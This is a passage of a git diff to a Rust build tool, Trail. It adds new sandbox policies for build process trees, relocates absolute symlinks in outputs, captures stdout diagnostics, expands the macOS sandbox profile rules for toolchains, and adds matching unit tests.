))); + } + } else if !plan.runtime_resources.is_empty() { return Err(Error::InvalidInput(format!( - "component `{}` mixes external/runtime resources with filesystem outputs; split independently owned resources into separate components", + "component `{}` mixes runtime resources with filesystem outputs; split independently owned resources into separate components", plan.component_id ))); } @@ -3454,8 +3650,10 @@ impl Trail { } if !plan.caches.is_empty() { match plan.sandbox_policy { - WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin => {} + WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin + | WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle => {} WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted if plan.caches.iter().all(|cache| { cache.access == WorkspaceEnvironmentCacheAccess::HostExclusive @@ -4609,10 +4807,13 @@ impl Trail { mountpoint, &isolated_home, &isolated_tmp, + false, )? } - WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe - | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging => { + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + | WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree => { return Err(Error::Corrupt(format!( "repository command component `{}` unexpectedly requested mounted initialization", plan.component_id @@ -4643,7 +4844,7 @@ impl Trail { .env("TMP", &isolated_tmp) .env("TEMP", &isolated_tmp) .stdin(Stdio::null()) - .stdout(Stdio::null()) + .stdout(Stdio::piped()) .stderr(Stdio::piped()); if plan.sandbox_policy == WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin { command @@ -4670,13 +4871,20 @@ impl Trail { command_plan.program, plan.component_id )) })?; + let stdout = child.stdout.take().ok_or_else(|| { + Error::Corrupt(format!( + "mounted initializer for component `{}` lost its stdout diagnostic pipe", + plan.component_id + )) + })?; let stderr = child.stderr.take().ok_or_else(|| { Error::Corrupt(format!( "mounted initializer for component `{}` lost its diagnostic pipe", plan.component_id )) })?; - let diagnostic = spawn_bounded_environment_command_diagnostic(stderr); + let stdout_diagnostic = spawn_bounded_environment_command_diagnostic(stdout); + let stderr_diagnostic = spawn_bounded_environment_command_diagnostic(stderr); let status = if plan.sandbox_policy == WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted { wait_for_supervised_mounted_plugin_process(&mut child).map_err(|err| { @@ -4688,7 +4896,7 @@ impl Trail { } else { child.wait()? }; - let diagnostic = diagnostic + let stdout_diagnostic = stdout_diagnostic .join() .map_err(|_| { Error::Corrupt(format!( @@ -4697,6 +4905,17 @@ impl Trail { )) })? .map_err(Error::Io)?; + let stderr_diagnostic = stderr_diagnostic + .join() + .map_err(|_| { + Error::Corrupt(format!( + "mounted initialization stderr reader for component `{}` panicked", + plan.component_id + )) + })? + .map_err(Error::Io)?; + let diagnostic = + combine_environment_command_diagnostics(stdout_diagnostic, stderr_diagnostic); if !status.success() { let diagnostic_text = redact_sensitive_text(&String::from_utf8_lossy(&diagnostic.bytes)); @@ -4818,7 +5037,7 @@ impl Trail { let layout = super::workdir::ViewUpperLayout::from_source_upper(PathBuf::from(source_upper)); let class = match plan.kind.as_str() { - "dependency" => super::workdir::ViewPathClass::Dependency, + "dependency" | "external" => super::workdir::ViewPathClass::Dependency, "compiler-results" | "generated" | "build" => super::workdir::ViewPathClass::Generated, _ => return Ok(false), }; @@ -4848,8 +5067,10 @@ impl Trail { ) -> Result { if matches!( plan.sandbox_policy, - WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + | WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted ) { ensure_restricted_recipe_sandbox_available()?; @@ -4861,15 +5082,18 @@ impl Trail { let root = fs::canonicalize(staging.path())?; let restricted = matches!( plan.sandbox_policy, - WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + | WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted ); let paths = self.execute_workspace_environment_plan_in_directory(plan, &root, restricted, None)?; if restricted { let mut entries = 0usize; - for output in &paths { + for (declaration, output) in plan.outputs.iter().zip(&paths) { + self.normalize_process_tree_output_symlinks(plan, declaration, output)?; self.validate_restricted_recipe_output(plan, output, &mut entries)?; } } @@ -4887,8 +5111,10 @@ impl Trail { ) -> Result { if matches!( plan.sandbox_policy, - WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + | WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted ) { ensure_restricted_recipe_sandbox_available()?; @@ -4904,7 +5130,8 @@ impl Trail { None, )?; let mut output_entries = 0usize; - for output in &outputs { + for (declaration, output) in plan.outputs.iter().zip(&outputs) { + self.normalize_process_tree_output_symlinks(plan, declaration, output)?; self.validate_restricted_recipe_output(plan, output, &mut output_entries)?; } if let [output] = outputs.as_slice() { @@ -4929,12 +5156,82 @@ impl Trail { package_workspace_environment_outputs(build_dir, "published-outputs", &outputs) } + fn normalize_process_tree_output_symlinks( + &self, + plan: &WorkspaceEnvironmentPlan, + declaration: &WorkspaceEnvironmentOutput, + output: &Path, + ) -> Result<()> { + if !matches!( + plan.sandbox_policy, + WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree + ) { + return Ok(()); + } + #[cfg(unix)] + { + use std::os::unix::fs::symlink; + + let output_root = fs::canonicalize(output)?; + let project_root = relocatable_process_tree_project_root(declaration, output)?; + + for entry in walkdir::WalkDir::new(&output_root).follow_links(false) { + let entry = entry.map_err(|error| { + Error::InvalidInput(format!( + "cannot inspect output for command component `{}`: {error}", + plan.component_id + )) + })?; + if !fs::symlink_metadata(entry.path())?.file_type().is_symlink() { + continue; + } + let target = fs::read_link(entry.path())?; + if !target.is_absolute() { + continue; + } + let resolved = resolve_absolute_path_allow_missing(&target)?; + let relocatable = resolved.starts_with(&output_root) + || project_root + .as_ref() + .is_some_and(|root| resolved.starts_with(root)); + if !relocatable { + continue; + } + let parent = entry.path().parent().ok_or_else(|| { + Error::Corrupt("process-tree output symlink has no parent".to_string()) + })?; + let relative = relative_path_between(parent, &resolved).ok_or_else(|| { + Error::InvalidInput(format!( + "process-tree output symlink `{}` cannot be made relocatable", + entry.path().display() + )) + })?; + fs::remove_file(entry.path())?; + symlink(relative, entry.path())?; + } + } + Ok(()) + } + fn validate_restricted_recipe_output( &self, plan: &WorkspaceEnvironmentPlan, output: &Path, entries: &mut usize, ) -> Result<()> { + let relocatable_project_root = if matches!( + plan.sandbox_policy, + WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree + ) { + plan.outputs + .iter() + .find(|declaration| output.ends_with(&declaration.output_path)) + .map(|declaration| relocatable_process_tree_project_root(declaration, output)) + .transpose()? + .flatten() + } else { + None + }; for entry in walkdir::WalkDir::new(output).follow_links(false) { let entry = entry.map_err(|err| { Error::InvalidInput(format!( @@ -4952,6 +5249,56 @@ impl Trail { let metadata = fs::symlink_metadata(entry.path())?; let file_type = metadata.file_type(); if file_type.is_symlink() { + if matches!( + plan.sandbox_policy, + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree + ) { + let target = fs::read_link(entry.path())?; + if target.is_absolute() { + if matches!( + plan.sandbox_policy, + WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree + ) && plan + .command + .as_ref() + .and_then(|command| command.environment.get("JAVA_HOME")) + .is_some_and(|java_home| { + resolve_absolute_path_allow_missing(&target).is_ok_and(|resolved| { + fs::canonicalize(java_home) + .is_ok_and(|root| resolved.starts_with(root)) + }) + }) + { + continue; + } + return Err(Error::InvalidInput(format!( + "approved lifecycle output contains absolute symlink `{}`", + entry.path().display() + ))); + } + let resolved = resolve_absolute_path_allow_missing( + &entry + .path() + .parent() + .ok_or_else(|| { + Error::Corrupt("lifecycle symlink has no parent".to_string()) + })? + .join(target), + )?; + let output_root = fs::canonicalize(output)?; + if resolved.starts_with(&output_root) + || relocatable_project_root + .as_ref() + .is_some_and(|root| resolved.starts_with(root)) + { + continue; + } + return Err(Error::InvalidInput(format!( + "approved lifecycle output symlink `{}` escapes its declared output", + entry.path().display() + ))); + } return Err(Error::InvalidInput(format!( "command component `{}` output contains unsupported symlink `{}`", plan.component_id, @@ -5075,6 +5422,35 @@ impl Trail { &bytes, )?; } + if matches!( + plan.sandbox_policy, + WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree + ) { + // Some build scanners (notably Maven Compiler Plugin) treat the + // Unix epoch as an unknown/sentinel mtime and silently skip source + // files. Preserve deterministic staging while avoiding that + // sentinel for external process-tree build tools. + let deterministic_build_time = SystemTime::UNIX_EPOCH + .checked_add(Duration::from_secs(946_684_800)) + .ok_or_else(|| { + Error::Corrupt("cannot construct deterministic build time".to_string()) + })?; + for staging_path in plan + .inputs + .iter() + .map(|input| input.staging_path.as_str()) + .chain( + plan.resolution_inputs + .iter() + .map(|input| input.staging_path.as_str()), + ) + { + OpenOptions::new() + .write(true) + .open(safe_join(build_dir, staging_path)?)? + .set_modified(deterministic_build_time)?; + } + } let mut outputs = Vec::with_capacity(plan.outputs.len()); for declaration in &plan.outputs { let output = safe_join(build_dir, &declaration.output_path)?; @@ -5312,6 +5688,15 @@ impl Trail { command_plan.resolved_program.clone(), command_plan.args.iter().map(OsString::from).collect(), ), + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle => self + .restricted_recipe_launcher( + plan, + command_plan, + build_dir, + &isolated_home, + &isolated_tmp, + true, + )?, WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging => self .restricted_recipe_launcher( @@ -5320,6 +5705,7 @@ impl Trail { build_dir, &isolated_home, &isolated_tmp, + false, )?, WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted => self .restricted_recipe_launcher( @@ -5328,6 +5714,16 @@ impl Trail { build_dir, &isolated_home, &isolated_tmp, + false, + )?, + WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree => self + .restricted_recipe_launcher( + plan, + command_plan, + build_dir, + &isolated_home, + &isolated_tmp, + true, )?, }; let mut command = Command::new(launcher); @@ -5341,8 +5737,17 @@ impl Trail { .env("TMP", &isolated_tmp) .env("TEMP", &isolated_tmp) .stdin(Stdio::null()) - .stdout(Stdio::null()) + .stdout(Stdio::piped()) .stderr(Stdio::piped()); + if matches!( + plan.sandbox_policy, + WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree + ) { + command.env( + "JAVA_TOOL_OPTIONS", + format!("-Djava.io.tmpdir={}", isolated_tmp.to_string_lossy()), + ); + } if let Some(path) = std::env::var_os("PATH") { command.env("PATH", path); } @@ -5361,15 +5766,22 @@ impl Trail { command_plan.program, plan.component_id )) })?; + let stdout = child.stdout.take().ok_or_else(|| { + Error::Corrupt(format!( + "environment build for component `{}` lost its stdout diagnostic pipe", + plan.component_id + )) + })?; let stderr = child.stderr.take().ok_or_else(|| { Error::Corrupt(format!( "environment build for component `{}` lost its diagnostic pipe", plan.component_id )) })?; - let diagnostic = spawn_bounded_environment_command_diagnostic(stderr); + let stdout_diagnostic = spawn_bounded_environment_command_diagnostic(stdout); + let stderr_diagnostic = spawn_bounded_environment_command_diagnostic(stderr); let status = child.wait(); - let diagnostic = diagnostic + let stdout_diagnostic = stdout_diagnostic .join() .map_err(|_| { Error::Corrupt(format!( @@ -5378,6 +5790,17 @@ impl Trail { )) })? .map_err(Error::Io)?; + let stderr_diagnostic = stderr_diagnostic + .join() + .map_err(|_| { + Error::Corrupt(format!( + "environment build stderr reader for component `{}` panicked", + plan.component_id + )) + })? + .map_err(Error::Io)?; + let diagnostic = + combine_environment_command_diagnostics(stdout_diagnostic, stderr_diagnostic); let status = status?; if !status.success() { let truncated = diagnostic.truncated; @@ -5406,6 +5829,7 @@ impl Trail { build_dir: &Path, isolated_home: &Path, isolated_tmp: &Path, + allow_process_tree: bool, ) -> Result<(PathBuf, Vec)> { let cache_paths = command_plan .cache_names @@ -5454,6 +5878,16 @@ impl Trail { &input.staging_path, )?)?) }) + .chain(plan.source_projection.iter().map(|(_, staging_root)| { + Ok(fs::canonicalize(safe_join(&build_dir, staging_root)?)?) + })) + .chain( + ["npm_config_nodedir", "JAVA_HOME"] + .into_iter() + .filter_map(|name| command_plan.environment.get(name)) + .filter(|_| allow_process_tree) + .map(|path| Ok(fs::canonicalize(path)?)), + ) .collect::>>()?; let working_directory = if command_plan.working_directory.is_empty() { build_dir.clone() @@ -5464,6 +5898,9 @@ impl Trail { let isolated_tmp = fs::canonicalize(isolated_tmp)?; let executable = command_plan.resolved_program.clone(); let canonical_executable = fs::canonicalize(&command_plan.resolved_program)?; + let process_tree_tool_root = allow_process_tree + .then(|| Self::process_tree_tool_installation_root(&canonical_executable)) + .flatten(); let executable_rules = if canonical_executable == executable { format!("(literal \"{}\")", sandbox_profile_escape(&executable)) } else { @@ -5481,32 +5918,90 @@ impl Trail { .join(" "); let input_rules = readable_inputs .iter() - .map(|input| format!("(literal \"{}\")", sandbox_profile_escape(input))) + .map(|input| { + if input.is_dir() { + format!("(subpath \"{}\")", sandbox_profile_escape(input)) + } else { + format!("(literal \"{}\")", sandbox_profile_escape(input)) + } + }) + .collect::>() + .join(" "); + let metadata_rules = readable_inputs + .iter() + .chain([&executable, &canonical_executable]) + .chain(caches.iter()) + .flat_map(|path| path.ancestors().skip(1)) + .filter(|path| path.parent().is_some()) + .map(|path| format!("(literal \"{}\")", sandbox_profile_escape(path))) + .collect::>() + .into_iter() .collect::>() .join(" "); + let approved_toolchain_rules = command_plan + .environment + .iter() + .filter(|(name, _)| { + allow_process_tree + && matches!(name.as_str(), "npm_config_nodedir" | "JAVA_HOME") + }) + .map(|(_, path)| { + fs::canonicalize(path) + .map(|path| format!("(subpath \"{}\")", sandbox_profile_escape(&path))) + }) + .collect::>>()? + .into_iter() + .chain( + process_tree_tool_root + .iter() + .map(|path| format!("(subpath \"{}\")", sandbox_profile_escape(path))), + ) + .collect::>() + .join(" "); + let process_tree_staging_read_rules = if allow_process_tree { + // Build systems discover inputs by enumerating source + // directories. The staging tree contains only Trail-pinned + // inputs plus declared outputs/caches, so permitting reads + // here does not widen repository authority. + format!("(subpath \"{}\")", sandbox_profile_escape(&build_dir)) + } else { + String::new() + }; + let process_rules = if allow_process_tree { + format!( + "(allow process-fork)\n(allow process-exec {} {} {} (subpath \"/bin\") (subpath \"/usr\") (subpath \"/System\") (subpath \"/Library\") (subpath \"/opt/homebrew\") (subpath \"/nix/store\") (subpath \"/private/var/select\"))", + executable_rules, output_rules, approved_toolchain_rules + ) + } else { + format!( + "(deny process-fork)\n(deny process-exec)\n(allow process-exec {})", + executable_rules + ) + }; let profile = format!( "(version 1)\n\ (deny default)\n\ (import \"system.sb\")\n\ - (deny mach-lookup)\n\ (deny mach-register)\n\ - (deny process-fork)\n\ - (deny process-exec)\n\ - (allow process-exec {})\n\ + {}\n\ (deny file-write*)\n\ (allow file-write* {} (subpath \"{}\") (subpath \"{}\"))\n\ (deny file-read* (subpath \"/Users\") (subpath \"/Volumes\") (subpath \"/private/etc\") (subpath \"/private/var\"))\n\ - (allow file-read-metadata (subpath \"{}\"))\n\ - (allow file-read* (literal \"{}\") {} {} (subpath \"{}\") (subpath \"{}\") (literal \"{}\") (literal \"{}\") (subpath \"/bin\") (subpath \"/usr\") (subpath \"/System\") (subpath \"/Library\") (subpath \"/opt/homebrew\") (subpath \"/nix/store\"))\n\ - (deny network*)", - executable_rules, + (allow file-read-metadata (subpath \"{}\") {})\n\ + (allow file-read* (literal \"{}\") {} {} {} {} (subpath \"{}\") (subpath \"{}\") (literal \"{}\") (literal \"{}\") (subpath \"/bin\") (subpath \"/usr\") (subpath \"/System\") (subpath \"/Library\") (subpath \"/opt/homebrew\") (subpath \"/nix/store\") (subpath \"/private/var/select\"))\n\ + (allow network-bind (local ip)) + (allow network-inbound (local ip))", + process_rules, output_rules, sandbox_profile_escape(&isolated_home), sandbox_profile_escape(&isolated_tmp), sandbox_profile_escape(&build_dir), + metadata_rules, sandbox_profile_escape(&working_directory), input_rules, output_rules, + process_tree_staging_read_rules, + approved_toolchain_rules, sandbox_profile_escape(&isolated_home), sandbox_profile_escape(&isolated_tmp), sandbox_profile_escape(&executable), @@ -5536,6 +6031,10 @@ impl Trail { .iter() .map(fs::canonicalize) .collect::>>()?; + let executable = fs::canonicalize(&command_plan.resolved_program)?; + let process_tree_tool_root = allow_process_tree + .then(|| Self::process_tree_tool_installation_root(&executable)) + .flatten(); let readable_inputs = plan .inputs .iter() @@ -5545,10 +6044,20 @@ impl Trail { &input.staging_path, )?)?) }) + .chain(plan.source_projection.iter().map(|(_, staging_root)| { + Ok(fs::canonicalize(safe_join(&build_dir, staging_root)?)?) + })) + .chain( + ["npm_config_nodedir", "JAVA_HOME"] + .into_iter() + .filter_map(|name| command_plan.environment.get(name)) + .filter(|_| allow_process_tree) + .map(|path| Ok(fs::canonicalize(path)?)), + ) + .chain(process_tree_tool_root.into_iter().map(Ok)) .collect::>>()?; let isolated_home = fs::canonicalize(isolated_home)?; let isolated_tmp = fs::canonicalize(isolated_tmp)?; - let executable = fs::canonicalize(&command_plan.resolved_program)?; let mut args = vec![ OsString::from("__environment-sandbox"), OsString::from("--root"), @@ -5573,13 +6082,22 @@ impl Trail { isolated_tmp.into_os_string(), OsString::from("--program"), executable.into_os_string(), - OsString::from("--"), ]); + if allow_process_tree { + args.push(OsString::from("--allow-process-tree")); + } + args.push(OsString::from("--")); args.extend(command_plan.args.iter().map(OsString::from)); Ok((launcher, args)) } #[cfg(all(target_os = "windows", not(test)))] { + if allow_process_tree { + return Err(Error::InvalidInput( + "approved lifecycle process trees are not yet certified by Trail's Windows AppContainer backend" + .to_string(), + )); + } let launcher = std::env::current_exe()?; let build_dir = fs::canonicalize(build_dir)?; let outputs = plan @@ -5603,6 +6121,16 @@ impl Trail { &input.staging_path, )?)?) }) + .chain(plan.source_projection.iter().map(|(_, staging_root)| { + Ok(fs::canonicalize(safe_join(&build_dir, staging_root)?)?) + })) + .chain( + ["npm_config_nodedir", "JAVA_HOME"] + .into_iter() + .filter_map(|name| command_plan.environment.get(name)) + .filter(|_| allow_process_tree) + .map(|path| Ok(fs::canonicalize(path)?)), + ) .collect::>>()?; let isolated_home = fs::canonicalize(isolated_home)?; let isolated_tmp = fs::canonicalize(isolated_tmp)?; @@ -5649,6 +6177,7 @@ impl Trail { isolated_home, isolated_tmp, cache_paths, + allow_process_tree, ); Err(Error::InvalidInput(format!( "restricted command recipe sandboxing is unavailable on {}; Trail refuses to run the repository command without kernel enforcement", @@ -5657,6 +6186,14 @@ impl Trail { } } + fn process_tree_tool_installation_root(executable: &Path) -> Option { + let bin = executable.parent()?; + if bin.file_name()? != "bin" { + return None; + } + bin.parent().map(Path::to_path_buf) + } + fn materialize_workspace_environment_input( &self, build_dir: &Path, @@ -6677,7 +7214,7 @@ fn materialize_mounted_output_value( fn environment_upper_class(kind: &str) -> Result { match kind { - "dependency" => Ok(ViewPathClass::Dependency), + "dependency" | "external" => Ok(ViewPathClass::Dependency), "compiler-results" | "generated" | "build" => Ok(ViewPathClass::Generated), other => Err(Error::InvalidInput(format!( "environment kind `{other}` cannot own a mounted writable output" @@ -6781,7 +7318,7 @@ pub(super) fn workspace_environment_artifact_contract_digest( phase: &'a str, program: &'a str, executable_identity: &'a str, - args: &'a [String], + args: Vec, working_directory: &'a str, environment: BTreeMap, } @@ -6850,7 +7387,17 @@ pub(super) fn workspace_environment_artifact_contract_digest( phase, program: &command.program, executable_identity: &command.executable_identity, - args: &command.args, + args: command + .args + .iter() + .map(|argument| { + cache_paths + .iter() + .fold(argument.clone(), |value, (path, logical)| { + value.replace(path, logical) + }) + }) + .collect(), working_directory: &command.working_directory, environment: command .environment @@ -6987,8 +7534,10 @@ pub(super) fn workspace_environment_identity_contract_v3( }); let trust_scope = match plan.sandbox_policy { WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin => "builtin", - WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe => "repository", + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + | WorkspaceEnvironmentSandboxPolicy::RestrictedRecipe => "repository", WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging + | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree | WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted => "plugin", }; @@ -8216,6 +8765,36 @@ pub(super) fn sandbox_profile_escape(path: &Path) -> String { mod tests { use super::*; + #[test] + fn process_tree_build_time_is_stable_and_not_the_epoch_sentinel() { + let build_time = SystemTime::UNIX_EPOCH + .checked_add(Duration::from_secs(946_684_800)) + .unwrap(); + assert_eq!( + build_time.duration_since(SystemTime::UNIX_EPOCH).unwrap(), + Duration::from_secs(946_684_800) + ); + } + + #[test] + fn command_failure_diagnostics_include_bounded_stdout_and_stderr() { + let combined = combine_environment_command_diagnostics( + BoundedEnvironmentCommandDiagnostic { + bytes: b"build failed".to_vec(), + truncated: false, + }, + BoundedEnvironmentCommandDiagnostic { + bytes: b"tool notice".to_vec(), + truncated: false, + }, + ); + assert_eq!( + String::from_utf8(combined.bytes).unwrap(), + "stdout:\nbuild failed\nstderr:\ntool notice\n" + ); + assert!(!combined.truncated); + } + #[test] fn construction_seed_compatibility_ignores_only_declared_non_authoritative_inputs() { let key = |source_root: &str, lock_authority: &str| WorkspaceLayerKeyV1 { @@ -8658,6 +9237,31 @@ mod tests { ); } + #[test] + fn zero_dependency_preview_uses_the_graph_finalizer_key() { + let workspace = tempfile::tempdir().unwrap(); + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let db = Trail::open(workspace.path()).unwrap(); + let (mut plan, _) = cache_test_plan(&db, WorkspaceEnvironmentCacheAccess::HostExclusive); + add_host_canonical_environment_identity(&mut plan).unwrap(); + let preview = db + .finalize_workspace_environment_plan_preview( + "unused-for-zero-dependency-preview", + &ObjectId("object_fixture".to_string()), + plan.clone(), + ) + .unwrap(); + let graph = db + .finalize_workspace_environment_plan_graph(vec![plan]) + .unwrap() + .remove(0) + .0; + assert_eq!( + db.workspace_layer_cache_key(&preview.layer_key).unwrap(), + db.workspace_layer_cache_key(&graph.layer_key).unwrap() + ); + } + #[test] fn inferred_plan_authority_cannot_exceed_the_selected_producer_tier() { let workspace = tempfile::tempdir().unwrap(); @@ -9986,4 +10590,115 @@ mod tests { .unwrap_err(); assert!(error.to_string().contains("hard-linked or unverifiable")); } + + #[cfg(unix)] + #[test] + fn approved_lifecycle_allows_only_contained_relative_output_symlinks() { + use std::os::unix::fs::symlink; + + let workspace = tempfile::tempdir().unwrap(); + fs::write(workspace.path().join("README.md"), "root\n").unwrap(); + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let db = Trail::open(workspace.path()).unwrap(); + let (mut plan, _) = cache_test_plan(&db, WorkspaceEnvironmentCacheAccess::ToolConcurrent); + plan.sandbox_policy = WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle; + + let staging = tempfile::tempdir().unwrap(); + let output = staging.path().join("node_modules"); + fs::create_dir_all(output.join("package/bin")).unwrap(); + fs::write(output.join("package/bin/tool.js"), "tool\n").unwrap(); + fs::create_dir(output.join(".bin")).unwrap(); + symlink("../package/bin/tool.js", output.join(".bin/tool")).unwrap(); + let mut entries = 0; + db.validate_restricted_recipe_output(&plan, &output, &mut entries) + .unwrap(); + + fs::write(staging.path().join("outside"), "outside\n").unwrap(); + let escape = output.join(".bin/escape"); + symlink("../../outside", &escape).unwrap(); + let mut entries = 0; + let error = db + .validate_restricted_recipe_output(&plan, &output, &mut entries) + .unwrap_err(); + assert!(error.to_string().contains("escapes its declared output")); + } + + #[cfg(unix)] + #[test] + fn process_tree_outputs_relocate_absolute_staging_symlinks() { + use std::os::unix::fs::symlink; + + let workspace = tempfile::tempdir().unwrap(); + fs::write(workspace.path().join("README.md"), "root\n").unwrap(); + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let db = Trail::open(workspace.path()).unwrap(); + let (mut plan, _) = cache_test_plan(&db, WorkspaceEnvironmentCacheAccess::ToolConcurrent); + plan.sandbox_policy = WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree; + plan.outputs[0].output_path = "project/component/tool-output".to_string(); + plan.outputs[0].mount_path = "component/.tool-output".to_string(); + + let staging = tempfile::tempdir().unwrap(); + let project = staging.path().join("project/component"); + let output = project.join("tool-output"); + fs::create_dir_all(output.join("nested")).unwrap(); + fs::write(project.join("source.txt"), "source\n").unwrap(); + fs::write(output.join("nested/artifact"), "artifact\n").unwrap(); + symlink(project.join("source.txt"), output.join("source-link")).unwrap(); + symlink(output.join("nested/artifact"), output.join("artifact-link")).unwrap(); + symlink( + output.join("nested/not-materialized"), + output.join("dangling-link"), + ) + .unwrap(); + + db.normalize_process_tree_output_symlinks(&plan, &plan.outputs[0], &output) + .unwrap(); + assert!(!fs::read_link(output.join("source-link")) + .unwrap() + .is_absolute()); + assert!(!fs::read_link(output.join("artifact-link")) + .unwrap() + .is_absolute()); + assert!(!fs::read_link(output.join("dangling-link")) + .unwrap() + .is_absolute()); + let mut entries = 0; + db.validate_restricted_recipe_output(&plan, &output, &mut entries) + .unwrap(); + } + + #[cfg(unix)] + #[test] + fn process_tree_outputs_allow_only_identity_bound_java_symlinks() { + use std::os::unix::fs::symlink; + + let workspace = tempfile::tempdir().unwrap(); + fs::write(workspace.path().join("README.md"), "root\n").unwrap(); + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let db = Trail::open(workspace.path()).unwrap(); + let (mut plan, _) = cache_test_plan(&db, WorkspaceEnvironmentCacheAccess::ToolConcurrent); + plan.sandbox_policy = WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree; + let staging = tempfile::tempdir().unwrap(); + let java_home = staging.path().join("jdk"); + fs::create_dir(&java_home).unwrap(); + fs::write(java_home.join("release"), "JAVA_VERSION=fixture\n").unwrap(); + plan.command.as_mut().unwrap().environment.insert( + "JAVA_HOME".to_string(), + java_home.to_string_lossy().into_owned(), + ); + let output = staging.path().join("output"); + fs::create_dir(&output).unwrap(); + symlink(java_home.join("release"), output.join("java-release")).unwrap(); + let mut entries = 0; + db.validate_restricted_recipe_output(&plan, &output, &mut entries) + .unwrap(); + + fs::write(staging.path().join("outside"), "outside\n").unwrap(); + symlink(staging.path().join("outside"), output.join("outside")).unwrap(); + let mut entries = 0; + let error = db + .validate_restricted_recipe_output(&plan, &output, &mut entries) + .unwrap_err(); + assert!(error.to_string().contains("absolute symlink")); + } } diff --git a/trail/src/db/lane/workspace_go.rs b/trail/src/db/lane/workspace_go.rs index 74f364d6..9912d44a 100644 --- a/trail/src/db/lane/workspace_go.rs +++ b/trail/src/db/lane/workspace_go.rs @@ -1,17 +1,23 @@ use super::workspace_environment::{ resolve_workspace_tool_executable, WorkspaceEnvironmentAdapter, - WorkspaceEnvironmentAdapterMetadata, WorkspaceEnvironmentCacheAccess, - WorkspaceEnvironmentCacheCommandBinding, WorkspaceEnvironmentCacheProtocol, - WorkspaceEnvironmentCommand, WorkspaceEnvironmentCommandBinding, - WorkspaceEnvironmentConstructionSeed, WorkspaceEnvironmentOutput, - WorkspaceEnvironmentOutputPolicy, WorkspaceEnvironmentPlan, WorkspaceEnvironmentSandboxPolicy, - WorkspaceEnvironmentToolCommandBinding, + WorkspaceEnvironmentAdapterMetadata, WorkspaceEnvironmentAdapterProposal, + WorkspaceEnvironmentCacheAccess, WorkspaceEnvironmentCacheCommandBinding, + WorkspaceEnvironmentCacheProtocol, WorkspaceEnvironmentCommand, + WorkspaceEnvironmentCommandBinding, WorkspaceEnvironmentConstructionSeed, + WorkspaceEnvironmentOutput, WorkspaceEnvironmentOutputPolicy, WorkspaceEnvironmentPlan, + WorkspaceEnvironmentSandboxPolicy, WorkspaceEnvironmentToolCommandBinding, }; use super::*; +use crate::ids::sha256_hex; pub(crate) struct GoVendorAdapter; +pub(crate) struct GoWorkspaceVendorAdapter; pub(crate) static GO_VENDOR_ADAPTER: GoVendorAdapter = GoVendorAdapter; +pub(crate) static GO_WORKSPACE_VENDOR_ADAPTER: GoWorkspaceVendorAdapter = GoWorkspaceVendorAdapter; + +const MAX_GO_WORK_BYTES: u64 = 1024 * 1024; +const MAX_GO_WORK_MEMBERS: usize = 4096; static GO_VENDOR_ADAPTER_METADATA: WorkspaceEnvironmentAdapterMetadata = WorkspaceEnvironmentAdapterMetadata { @@ -31,6 +37,24 @@ static GO_VENDOR_ADAPTER_METADATA: WorkspaceEnvironmentAdapterMetadata = description: "Single-module Go vendor tree with shared module and compiler caches", }; +static GO_WORKSPACE_VENDOR_ADAPTER_METADATA: WorkspaceEnvironmentAdapterMetadata = + 